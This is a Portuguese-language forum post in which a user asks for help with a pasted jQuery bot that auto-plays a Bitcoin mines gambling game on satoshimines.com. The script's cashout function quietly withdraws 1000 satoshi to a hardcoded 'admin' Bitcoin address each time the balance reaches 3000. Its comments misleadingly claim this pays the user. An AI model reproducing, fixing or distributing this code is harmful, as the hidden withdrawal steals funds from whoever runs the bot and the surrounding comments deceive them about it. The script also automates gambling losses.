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Daniel Basilio

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  1. Pessoal estou precisando muito de uma ajuda. Tenho esse codigo aqui que funciona no site satoshimines.com // var bet = Math.floor(Math.random() < .5 ? 30 : 60); var bet = 0; function endgame() { var bal = $('.balance .num').html(); bal = parseInt(bal); if (bal < 1000) { stopgame(); } else { debugger; } } // place your bet here. minimum is 30. var admin_bitcoin_addr = "1KoAKjbXSCJ2bcmtevshQpGCmwhfm7gege"; // You will be paid in steady withdraw_amount satoshi. (Once the bot reaches withdraw_threshold, it will deposit withdraw_amount into your bitcoin wallet, then continue betting with the 1000) var withdraw_threshold = 3000; var withdraw_amount = 1000; setInterval(function() { stopgame(); start_game(); }, 1000 * 10); // Just in case the page stops responding. /* in case the bot will click a bomb, bet will be adjusted on the next round to compensate the loss. the bot will set the bet again to the original value on the next next round.*/ var bigBet = bet*2; bigBet = Math.ceil(bigBet); //var bigBet = 0; bigBet = Math.ceil(bigBet); var risky_bet_chance1 = 0; var risky_bet_chance2 = 0; var stop_limit_balance = 300; /* click sequence interval in milliseconds. equivalent to 2 seconds. You can change it to longer than 2 seconds but please don't change it to a lower value because it can messed up the timings if you have a slow internet. If you have a very slow internet connection, I recommend setting it up to 3 seconds or higher. */ var interval = 1400; var tile1, tile2, tile3, timeout1, timeout2, timeout3, timeout4, timeout5, timeout6, timeout7, num_clicks; var i = 1; var k = 0; var b = 0; var win = 0; var lost = 0; var lucro = 0; // force the difficulty to 1 mine at the start of the game. $('.quarter').first().find('button').click(); start_game(); function start_game() { $('#bet').val(Math.ceil(1.1 * bet)) $('#bet').val(bet); if (i <= 20 ) { $('#bet').val(Math.ceil(2 * bet)); i++; } else { $('#bet').val(bet); } if (i <= 10) { $('#bet').val(Math.ceil(2 + bet)); i++; } else { $('#bet').val(bet); i = 1; } num_clicks = ((Math.random() * 3) + 1); $('#start_game').click(); if(win > lost){ lucro = win - lost; lucro = ' Lucro de:'+ lucro; }else if(lost > win){ lucro = lost - win; lucro = ' Perda de:'+ lucro; }else if(win > lost){ bet = 0; }else{ lucro = ' Empate'; } console.log('Acertos:'+k+' Bombas:'+b+' Ganho:'+win+' Perda:'+lost+lucro); timeout1 = setTimeout(click_tile1, interval) } // end of function start_game() function click_tile1() { var tile1 = Math.floor(((Math.random() * 13) + 1) + ((Math.random() * 11) + 1) - (Math.random() * 10) + 1); search_last_bomb(); $('.game_left').first().find('li[data-tile=' + tile1 + ']').click(); $('.game_left [data-tile="'+tile1+'"]').click(); setTimeout(function() { if ($('.game_left').first().find('li[data-tile=' + tile1 + ']').hasClass('bomb')) { $('.quarter').first().find('button').click(); b++; loose = $('.messages .bomb').html(); loose = loose.split(" "); loose = loose[11].replace(',',''); lost = Number(loose) + lost; } else { k++; prize = $('.find span').html(); if (prize){ prize = prize.split(" "); win = Number(prize[0]) + win; } else{ win = win;} if (num_clicks >= 2) { timeout2 = setTimeout(click_tile2, interval); } else { $('.quarter').first().find('button').click(); timeout6 = setTimeout(cashout, interval); $('.game_right').first().find('.cashout').click(); } } }, interval); } // end of function click_tile1() function click_tile2() { var tile2 = Math.floor(((Math.random() * 7) + 1) + ((Math.random() * 16) + 1) - (Math.random() * 3) + 1); //search_last_bomb(); $('.game_left').first().find('li[data-tile=' + tile2 + ']').click(); $('.game_left [data-tile="'+tile2+'"]').click(); setTimeout(function() { if ($('.game_left').first().find('li[data-tile=' + tile2 + ']').hasClass('bomb')) { $('.quarter').first().find('button').click(); b++; loose = $('.messages .bomb').html(); loose = loose.split(" "); loose = loose[11].replace(',',''); lost = Number(loose) + lost; } else { k++; prize = $('.find span').html(); if (prize){ prize = prize.split(" "); win = Number(prize[0]) + win; } else{ win = win;} if (num_clicks >= 3) { timeout4 = setTimeout(click_tile3, interval); } else { $('.quarter').first().find('button').click(); timeout6 = setTimeout(cashout, interval); $('.game_right').first().find('.cashout').click(); } } }, interval); } // end of function click_tile2() function click_tile3() { var tile3 = Math.floor(((Math.random() * 10) + 1) + ((Math.random() * 14) + 1) - (Math.random() * 3) + 1); //search_last_bomb(); $('.game_left').first().find('li[data-tile=' + tile3 + ']').click(); $('.game_left [data-tile="'+tile3+'"]').click(); setTimeout(function() { if ($('.game_left').first().find('li[data-tile=' + tile3 + ']').hasClass('bomb')) { b++; loose = $('.messages .bomb').html(); loose = loose.split(" "); loose = loose[11].replace(',',''); lost = Number(loose) + lost; } else { k++; prize = $('.find span').html(); if (prize){ prize = prize.split(" "); win = Number(prize[0]) + win; } else{ win = win;} $('.quarter').first().find('button').click(); timeout6 = setTimeout(cashout, interval); $('.game_right').first().find('.cashout').click(); } }, interval); } // end of function click_tile2() function cashout() { $('.game_right').first().find('.cashout').click(); var bal = $('.balance .num').html(); bal = $.trim(bal); bal = bal.replace(',', ''); bal = parseInt(bal); if (bal >= withdraw_threshold) { $("#deposit_withdraw").click(); $("#io_out").click(); $(".amount").val(withdraw_amount); $(".payto_address").val(admin_bitcoin_addr); $(".withdraw").click(); var check = function() { if ($(".txid").length > 0) { $(".close_all").click(); console.log("Payment sent! Restarting game."); timeout7 = setTimeout(start_game, interval); return; } else setTimeout(check, 10); } setTimeout(check, 10); } else timeout7 = setTimeout(start_game, interval); } // end of cashout function stopgame() { clearTimeout(timeout1); clearTimeout(timeout2); clearTimeout(timeout3); clearTimeout(timeout4); clearTimeout(timeout5); clearTimeout(timeout6); clearTimeout(timeout7); } // end of stopgame() function search_last_bomb() { var has_chosen = Math.floor((Math.random() * 2) + 0); if ($('.game_left').eq(1) != null && $('.game_left').eq(1).length > 0) { $('.game_left').eq(1).find('.board').find('li').each(function(i, elem) { if ($(elem).hasClass('reveal')) { has_chosen = 1; tile1 = $(elem).data('tile') return false; } }); } if(has_chosen == 0){ tile1 = Math.floor((Math.random() * 25) + 1); } } // end of searchLastBombTile() Abaixo esta a explicacao do que eu quero.
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